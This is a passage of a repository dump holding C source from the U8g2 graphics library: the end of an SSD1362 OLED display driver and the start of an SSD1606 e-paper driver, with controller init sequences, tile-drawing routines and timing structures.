u8x8_cad_SendCmd(u8x8, 0x015 );\t/* set column address */\n          u8x8_cad_SendArg(u8x8, x );\t/* start */\n          u8x8_cad_SendArg(u8x8, x+3 );\t/* end */\n          u8x8_cad_SendData(u8x8, 32, u8x8_ssd1362_8to32(u8x8, ptr));\n\t  \n\t  ptr += 8;\n\t  x += 4;\n\t  c--;\n\t} while( c > 0 );\n\t\n\targ_int--;\n        \n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\nuint8_t u8x8_d_ssd1362_common_0_75(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x; \n  uint8_t y, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* U8X8_MSG_DISPLAY_SETUP_MEMORY is handled by the calling function */\n    /*\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1362_256x64_init_seq);\n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1362_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1362_powersave1_seq);\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* ssd1362 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x *= 4;\t\t// convert from tile pos to display column\n      x += u8x8->x_offset;\t\t\n    \n      y = (((u8x8_tile_t *)arg_ptr)->y_pos);\n      y *= 8;\n    \n      \n      u8x8_cad_SendCmd(u8x8, 0x075 );\t/* set row address, moved out of the loop (issue 302) */\n      u8x8_cad_SendArg(u8x8, y);\n      u8x8_cad_SendArg(u8x8, y+7);\n      \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\n\tdo\n\t{\n\t  u8x8_cad_SendCmd(u8x8, 0x015 );\t/* set column address */\n          if ( x < 123 )\n          {\n            u8x8_cad_SendArg(u8x8, x );\t/* start */\n            u8x8_cad_SendArg(u8x8, x+3 );\t/* end */\n            u8x8_cad_SendData(u8x8, 32, u8x8_ssd1362_8to32(u8x8, ptr));\n          }\n          else\n          {\n            u8x8_cad_SendArg(u8x8, x );\t/* start */\n            u8x8_cad_SendArg(u8x8, x+2 );\t/* end */\n            u8x8_cad_SendData(u8x8, 24, u8x8_ssd1362_8to24(u8x8, ptr));\n          }\n\t  \n\t  ptr += 8;\n\t  x += 4;\n\t  c--;\n\t} while( c > 0 );\n\t\n\targ_int--;\n        \n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n\n/*=========================================================*/\n\nstatic const uint8_t u8x8_d_ssd1362_256x64_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0xa0, 0xc3), //Set Remap c3 = 11000011  \n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1362_256x64_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0xa0, 0xd0), \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const u8x8_display_info_t u8x8_ssd1362_256x64_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* ssd1362: 2 us */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 50,\t\t/* ssd1362: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* ssd1362: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 10000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215), 10 MHz (issue 301) */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 10,\n  /* write_pulse_width_ns = */ 150,\t/* ssd1362: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 32,\t\t/* 256 pixel, so we require 32 bytes for this */\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 0,\t/* this is the byte offset (there are two pixel per byte with 4 bit per pixel) */\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 256,\n  /* pixel_height = */ 64\n};\n\n\n/* https://github.com/olikraus/u8g2/issues/2051 */\nstatic const uint8_t u8x8_d_ssd1362_256x64_init_seq[] = {\n    \n  U8X8_DLY(1),\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_DLY(1),\n  \n  U8X8_CA(0xfd, 0x12),            \t/* unlock */\n  U8X8_C(0xae),\t\t                /* display off */\n  U8X8_CA(0x23, 0x00), //POR 0x00; Disable fade mode\n  U8X8_CA(0x81, 0x9f), //Set contrast\n  \n/*\nRe- map setting in Graphic Display Data RAM\n(GDDRAM)\n\nA[0] = 0b, Disable Column Address Re-map (RESET)\nA[0] = 1b, Enable Column Address Re-map\t\t\t***\n\nA[1] = 0b, Disable Nibble Re-map (RESET)\nA[1] = 1b, Enable Nibble Re-map\t\t\t\t***\n\nA[2] = 0b, Enable Horizontal Address Increment (RESET)   ***\nA[2] = 1b, Enable Vertical Address Increment\n\nA[4] = 0b, Disable COM Re-map (RESET)\nA[4] = 1b, Enable COM Re-map\n\nA[6] = 0b, Disable SEG Split Odd Even\t\t\t***\nA[6] = 1b, Enable SEG Split Odd Even (RESET)\n\nA[7] = 0b, Disable SEG left/right remap (RESET)\nA[7] = 1b, Enable SEG left/right remap\n\n*/\n  U8X8_CA(0xa0, 0xc3), \n  U8X8_CA(0xa1, 0), //Set Display Start Line\n  U8X8_CA(0xa2, 0), //Set Display Offset\n  U8X8_C(0xa4), //Normal Display\n  U8X8_CA(0xa8, 63), //Set Multiplex Ratio: (63 rows)\n  U8X8_CA(0xab, 1), //Set VDD regulator\n  U8X8_CA(0xad, 0x8e), //External /Internal IREF Selection, 9e: internal, 8e: external\n  U8X8_CA(0xb1, 0x22), //Set Phase Length, reset: 0x82\n  U8X8_CA(0xb3, 0xa0), //Display clock Divider\n  U8X8_CA(0xb6, 0x04), //Set Second precharge Period\n  U8X8_C(0xb9), //Set Linear LUT\n  U8X8_CA(0xbc, 0x1f), //Set pre-charge voltage level, 0..0x1f, 0x1f = 0.51*Vcc\n  U8X8_CA(0xbd, 1), //Pre-charge voltage capacitor Selection, 0: without, 1: with Vp capacitor\n  U8X8_CA(0xbe, 7), //Set cOM deselect voltage level, 7 = 0.86*Vcc\n  U8X8_DLY(1),\t\t\t\t\t/* delay 1ms */\n\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nuint8_t u8x8_d_ssd1362_256x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1362_256x64_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1362_256x64_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1362_256x64_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1362_256x64_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n    \n    default:\n      return u8x8_d_ssd1362_common(u8x8, msg, arg_int, arg_ptr);\n  }\n  return 1;\n}\n\n/*=========================================================*/\n\nstatic const u8x8_display_info_t u8x8_ssd1362_206x36_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* ssd1362: 2 us */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 50,\t\t/* ssd1362: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* ssd1362: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 10000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215), 10 MHz (issue 301) */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 10,\n  /* write_pulse_width_ns = */ 150,\t/* ssd1362: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 26,\t\t/* 26*8 = 208 */\n  /* tile_height = */ 5,                /* 5*8 = 40 */\n  /* default_x_offset = */ 0,\t/* this is the byte offset (there are two pixel per byte with 4 bit per pixel) */\n  /* flipmode_x_offset = */ 25, \n  /* pixel_width = */ 206,\n  /* pixel_height = */ 36\n};\n\n\n/* https://github.com/olikraus/u8g2/issues/2051 */\nstatic const uint8_t u8x8_d_ssd1362_206x36_init_seq[] = {\n    \n  U8X8_DLY(1),\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_DLY(1),\n  \n  U8X8_CA(0xfd, 0x12),            \t/* unlock */\n  U8X8_C(0xae),\t\t                /* display off */\n  U8X8_CA(0x23, 0x00), //POR 0x00; Disable fade mode\n  U8X8_CA(0x81, 0x9f), //Set contrast\n  \n/*\nRe- map setting in Graphic Display Data RAM\n(GDDRAM)\n\nA[0] = 0b, Disable Column Address Re-map (RESET)\nA[0] = 1b, Enable Column Address Re-map\t\t\t***\n\nA[1] = 0b, Disable Nibble Re-map (RESET)\nA[1] = 1b, Enable Nibble Re-map\t\t\t\t***\n\nA[2] = 0b, Enable Horizontal Address Increment (RESET)   ***\nA[2] = 1b, Enable Vertical Address Increment\n\nA[4] = 0b, Disable COM Re-map (RESET)\nA[4] = 1b, Enable COM Re-map\n\nA[6] = 0b, Disable SEG Split Odd Even\t\t\t***\nA[6] = 1b, Enable SEG Split Odd Even (RESET)\n\nA[7] = 0b, Disable SEG left/right remap (RESET)\nA[7] = 1b, Enable SEG left/right remap\n\n*/\n  U8X8_CA(0xa0, 0xc3), \n  U8X8_CA(0xa1, 50), //Set Display Start Line\n  U8X8_CA(0xa2, 0), //Set Display Offset\n  U8X8_C(0xa4), //Normal Display\n  U8X8_CA(0xa8, 63), //Set Multiplex Ratio\n  U8X8_CA(0xab, 1), //Set VDD regulator\n  U8X8_CA(0xad, 0x8e), //External /Internal IREF Selection, 9e: internal, 8e: external\n  U8X8_CA(0xb1, 0x22), //Set Phase Length, reset: 0x82\n  U8X8_CA(0xb3, 0xa0), //Display clock Divider\n  U8X8_CA(0xb6, 0x04), //Set Second precharge Period\n  U8X8_C(0xb9), //Set Linear LUT\n  U8X8_CA(0xbc, 0x1f), //Set pre-charge voltage level, 0..0x1f, 0x1f = 0.51*Vcc\n  U8X8_CA(0xbd, 1), //Pre-charge voltage capacitor Selection, 0: without, 1: with Vp capacitor\n  U8X8_CA(0xbe, 7), //Set cOM deselect voltage level, 7 = 0.86*Vcc\n  U8X8_DLY(1),\t\t\t\t\t/* delay 1ms */\n\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nuint8_t u8x8_d_ssd1362_206x36(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1362_206x36_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1362_206x36_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1362_256x64_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1362_256x64_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n    \n    default:\n      return u8x8_d_ssd1362_common_0_75(u8x8, msg, arg_int, arg_ptr);\n  }\n  return 1;\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_ssd1606_172x72.c",
    "content": "/*\n\n  u8x8_d_ssd1606_172x72.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n  SSD1606: 128x180x2 \n  two-bit, four graylevels\n  command \n    0x22: assign actions\n    0x20: execute actions\n  \n  action for command 0x022 are (more or less guessed)\n    bit 7:\tEnable Clock\n    bit 6:\tEnable Charge Pump\n    bit 5:\tLoad Temparture Value (???)\n    bit 4:\tLoad LUT (???)\n    bit 3:\tInitial Display (???)\n    bit 2:\tPattern Display --> Requires about 945ms with the LUT from below\n    bit 1:\tDisable Charge Pump\n    bit 0:\tDisable Clock\n    \n    Disable Charge Pump and Clock require about 267ms\n    Enable Charge Pump and Clock require about 10ms\n\n  Notes:\n    - Introduced a refresh display message, which copies RAM to display\n    - Charge pump and clock are only enabled for the transfer RAM to display\n    - U8x8 will not really work because of the two buffers in the SSD1606, however U8g2 should be ok.\n\n*/\n\n\n#include \"u8x8.h\"\n\n\n#define L(a,b,c,d) (((a)<<6)|((b)<<4)|((c)<<2)|(d))\n\n\n/* GDE021A1, 2.1\" EPD */\nstatic const uint8_t u8x8_d_ssd1606_172x72_gde021a1_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  U8X8_CA(0x10, 0x00),\t/* Deep Sleep mode Control: Disable */\n  U8X8_CA(0x11, 0x03),\t/* Define data entry mode, x&y inc, x first */\n  U8X8_CAA(0x44, 0, 31),\t/* RAM x start & end, each byte has 4 pixel, 32*4=128 */\n  U8X8_CAA(0x45, 0, 179),\t/* RAM y start & end, 179 MAX */\n  \n  U8X8_CA(0x4e, 0),\t/* set x pos, 0..31 */\n  U8X8_CA(0x4f, 0),\t/* set y pos, 0...179 */\n\n  U8X8_CA(0xf0, 0x1f),\t/* set booster feedback to internal */\n  U8X8_CA(0x22, 0xc0),\t/* display update seq. option: enable clk, enable CP, .... todo: this is never activated */\n  \n  U8X8_C(0x32),\t/* write LUT register*/\n\n#ifdef ORIGINAL_LUT\n  \n  /* wavefrom part of the LUT: absolute LUT... this will always force the destination color */\n  U8X8_A4(0x00,0x00,0x00,0x55),  /* step 0 */\n  U8X8_A4(0x00,0x00,0x55,0x55),\t/* step 1 */\n  U8X8_A4(0x00,0x55,0x55,0x55),\n  U8X8_A4(0xAA,0xAA,0xAA,0xAA),\n  U8X8_A4(0x15,0x15,0x15,0x15),\n  U8X8_A4(0x05,0x05,0x05,0x05),\n  U8X8_A4(0x01,0x01,0x01,0x01),\n  U8X8_A4(0x00,0x00,0x00,0x00),\n  U8X8_A4(0x00,0x00,0x00,0x00),\n  U8X8_A4(0x00,0x00,0x00,0x00),\n  U8X8_A4(0x00,0x00,0x00,0x00),\n  U8X8_A4(0x00,0x00,0x00,0x00),\n  U8X8_A4(0x00,0x00,0x00,0x00),\n  U8X8_A4(0x00,0x00,0x00,0x00),\n  U8X8_A4(0x00,0x00,0x00,0x00),\n  U8X8_A4(0x00,0x00,0x00,0x00),\n  U8X8_A4(0x00,0x00,0x00,0x00),\n  U8X8_A4(0x00,0x00,0x00,0x00),\n  U8X8_A4(0x00,0x00,0x00,0x00),\n  U8X8_A4(0x00,0x00,0x00,0x00),\t/* step 19 */\n  \n  /* timing part of the LUT */\n  U8X8_A8(0x22,0xFB,0x22,0x1B,0x00,0x00,0x00,0x00),\n  U8X8_A(0x00),U8X8_A(0x00),\n\n#else\n\n  /* the following LUT will not change anything if the old and the new values are the same */\n  /* 03 02 01 00\t13 12 11 10 \t23 22 21 20\t33 32 31 30 \t\t\t\toriginal */\n  U8X8_A4(L(0, 0, 0, 0), \tL(0, 0, 0, 0), \tL(0, 0, 0, 0), \tL(0, 1, 1, 1)),\t\t// 0x00,0x00,0x00,0x55,\tstep 0\n  U8X8_A4(L(0, 0, 0, 0), \tL(0, 0, 0, 0), \tL(1, 0, 1, 1), \tL(0, 1, 1, 1)),\t\t// 0x00,0x00,0x55,0x55,\tstep 1\n  U8X8_A4(L(0, 0, 0, 0), \tL(1, 1, 0, 1), \tL(1, 0, 1, 1), \tL(0, 1, 1, 1)),\t\t// 0x00,0x55,0x55,0x55,\tstep 2\n  U8X8_A4(L(2, 2, 2, 0), \tL(2, 2, 0, 2), \tL(2, 0, 2, 2), \tL(0, 2, 2, 2)),\t\t// 0xAA,0xAA,0xAA,0xAA,\tstep 3\n  U8X8_A4(L(0, 1, 1, 0), \tL(0, 1, 0, 1), \tL(0, 0, 1, 1), \tL(0, 1, 1, 1)),\t\t// 0x15,0x15,0x15,0x15,\tstep 4\n  U8X8_A4(L(0, 0, 1, 0), \tL(0, 0, 0, 1), \tL(0, 0, 1, 1), \tL(0, 0, 1, 1)),\t\t// 0x05,0x05,0x05,0x05,\tstep 5\n  U8X8_A4(L(0, 0, 0, 0), \tL(0, 0, 0, 1), \tL(0, 0, 0, 1), \tL(0, 0, 0, 1)),\t\t// 0x01,0x01,0x01,0x01,\tstep 6\n  U8X8_A4(0x00,0x00,0x00,0x00),\n  U8X8_A4(0x00,0x00,0x00,0x00),\n  U8X8_A4(0x00,0x00,0x00,0x00),\n  U8X8_A4(0x00,0x00,0x00,0x00),\n  U8X8_A4(0x00,0x00,0x00,0x00),\n  U8X8_A4(0x00,0x00,0x00,0x00),\n  U8X8_A4(0x00,0x00,0x00,0x00),\n  U8X8_A4(0x00,0x00,0x00,0x00),\n  U8X8_A4(0x00,0x00,0x00,0x00),\n  U8X8_A4(0x00,0x00,0x00,0x00),\n  U8X8_A4(0x00,0x00,0x00,0x00),\n  U8X8_A4(0x00,0x00,0x00,0x00),\n  U8X8_A4(0x00,0x00,0x00,0x00),\t/* step 19 */\n  \n  /* timing part of the LUT */\n  U8X8_A8(0x22,0xFB,0x22,0x1B,0x00,0x00,0x00,0x00),\n  U8X8_A(0x00),U8X8_A(0x00),\n\n#endif\n  \n  U8X8_CA(0x2c, 0xa0),\t/* write vcom value*/\n  U8X8_CA(0x3c, 0x63),\t/* select boarder waveform */\n  U8X8_CA(0x22, 0xc4),\t/* display update seq. option: clk -> CP -> LUT -> initial display -> pattern display */\n    /* 0x0c4 is mentioned in chapter 9.2 of the GDE021A1 data sheet */\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1606_to_display_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  \n  //U8X8_CA(0x22, 0xc0),\t/* display update seq. option: Enable clock and charge pump */\n  //U8X8_C(0x20),\t/* execute sequence */\n  //U8X8_DLY(10),\n  /* strange, splitting 0x0c0 does not work reliable */\n  \n  U8X8_CA(0x22, 0xc4),\t/* display update seq. option: clk -> CP -> LUT -> initial display -> pattern display */\n  U8X8_C(0x20),\t/* execute sequence */\n  U8X8_DLY(250),\t/* the sequence above requires about 970ms */\n  U8X8_DLY(250),\n  U8X8_DLY(250),\n  U8X8_DLY(230),\n  \n  U8X8_CA(0x22, 0x03),\t/* disable clock and charge pump */\n  U8X8_DLY(200),\t\t/* this requres about 270ms */\n  U8X8_DLY(90),  \n  \n  //U8X8_CA(0x10, 0x01), /* deep sleep mode */\n  //U8X8_C(0x20), \t\t/* execute sequence */\n  U8X8_DLY(50),  \n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\n// static const uint8_t u8x8_d_ssd1606_172x72_powersave0_seq[] = {\n//   U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n//   U8X8_END_TRANSFER(),             \t/* disable chip */\n//   U8X8_END()             \t\t\t/* end of sequence */\n// };\n\n\n// static const uint8_t u8x8_d_ssd1606_172x72_powersave1_seq[] = {\n//   U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n//   U8X8_END_TRANSFER(),             \t/* disable chip */\n//   U8X8_END()             \t\t\t/* end of sequence */\n// };\n\n// static const uint8_t u8x8_d_ssd1606_172x72_flip0_seq[] = {\n//   U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n//   U8X8_END_TRANSFER(),             \t/* disable chip */\n//   U8X8_END()             \t\t\t/* end of sequence */\n// };\n\n// static const uint8_t u8x8_d_ssd1606_172x72_flip1_seq[] = {\n//   U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n//   U8X8_END_TRANSFER(),             \t/* disable chip */\n//   U8X8_END()             \t\t\t/* end of sequence */\n// };\n\n\nstatic uint8_t *u8x8_convert_tile_for_ssd1606(uint8_t *t)\n{\n  uint8_t i;\n  uint16_t r;\n  static uint8_t buf[16];\n  uint8_t *pbuf = buf;\n\n  for( i = 0; i < 8; i++ )\n  {\n    r = u8x8_upscale_byte(~(*t++));\n    *pbuf++ = (r>>8) & 255;\n    *pbuf++ = r & 255;\n  }\n  return buf;\n}\n\nstatic void u8x8_d_ssd1606_draw_tile(u8x8_t *u8x8, uint8_t arg_int, void *arg_ptr) U8X8_NOINLINE;\nstatic void u8x8_d_ssd1606_draw_tile(u8x8_t *u8x8, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c, page;\n  uint8_t *ptr;\n  u8x8_cad_StartTransfer(u8x8);\n\n  page = u8x8->display_info->tile_height;\n  page --;\n  page -= (((u8x8_tile_t *)arg_ptr)->y_pos);\n  page *= 2;\n\n\n  x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n  x *= 8;\n  x += u8x8->x_offset;\n\n  u8x8_cad_SendCmd(u8x8, 0x00f );\t/* scan start */\n  u8x8_cad_SendArg(u8x8, 0);\n\n  u8x8_cad_SendCmd(u8x8, 0x011 );\t/* cursor increment mode */\n  u8x8_cad_SendArg(u8x8, 3);\n\n  u8x8_cad_SendCmd(u8x8, 0x045 );\t/* window start column */\n  u8x8_cad_SendArg(u8x8, 0);\n  u8x8_cad_SendArg(u8x8, 179);\t\t/* end of display */\n\n  u8x8_cad_SendCmd(u8x8, 0x044 );\t/* window end page */\n  u8x8_cad_SendArg(u8x8, page);\n  u8x8_cad_SendArg(u8x8, page+1);\n\n  u8x8_cad_SendCmd(u8x8, 0x04f );\t/* window column */\n  u8x8_cad_SendArg(u8x8, x);\n\n  u8x8_cad_SendCmd(u8x8, 0x04e );\t/* window row */\n  u8x8_cad_SendArg(u8x8, page);\n\n  u8x8_cad_SendCmd(u8x8, 0x024 );\n  \n  do\n  {\n    c = ((u8x8_tile_t *)arg_ptr)->cnt;\n    ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n    do\n    {\n      u8x8_cad_SendData(u8x8, 16, u8x8_convert_tile_for_ssd1606(ptr));\n      ptr += 8;\n      x += 8;\n      c--;\n    } while( c > 0 );\n    \n    arg_int--;\n  } while( arg_int > 0 );\n  \n  u8x8_cad_EndTransfer(u8x8);\n}\n\n\nstatic uint8_t u8x8_d_ssd1606_172x72_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1606_172x72_display_info);\n      break;\n    */\n    case U8X8_MSG_DISPLAY_INIT:\n\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1606_172x72_gde021a1_init_seq);    \n    \n      /* special code for the SSD1606... */\n      /* ensure that the initial buffer is clear and all eInk is set to white */\n      /* this is done here, because the LUT will be of that kind, that it uses the previous color */\n      /* make everything black */\n      u8x8_FillDisplay(u8x8);\t\t\n      /* write content to the display */\n      u8x8_RefreshDisplay(u8x8);\n      /* now make everything clear */\n      u8x8_FillDisplay(u8x8);\t\t\n      /* write content to the display */\n      u8x8_RefreshDisplay(u8x8);\n      /* now make everything clear */\n      u8x8_ClearDisplay(u8x8);\t\t\n      /* write content to the display */\n      u8x8_RefreshDisplay(u8x8);\n\n      u8x8_ClearDisplay(u8x8);\t\t\n      /* write content to the display */\n      u8x8_RefreshDisplay(u8x8);\n    \n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n/*\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1606_172x72_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1606_172x72_powersave1_seq);\n*/\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n/*\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1606_172x72_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1606_172x72_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n*/\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n/*\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_EndTransfer(u8x8);\n*/\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_d_ssd1606_draw_tile(u8x8, arg_int, arg_ptr);\n      break;\n    case U8X8_MSG_DISPLAY_REFRESH:\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1606_to_display_seq);    \n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\nstatic const u8x8_display_info_t u8x8_ssd1606_172x72_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 120,\n  /* pre_chip_disable_wait_ns = */ 60,\n  /* reset_pulse_width_ms = */ 100, \t\n  /* post_reset_wait_ms = */ 100, \n  /* sda_setup_time_ns = */ 50,\t\t/* SSD1606: */\n  /* sck_pulse_width_ns = */ 100,\t/* SSD1606: 100ns */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* 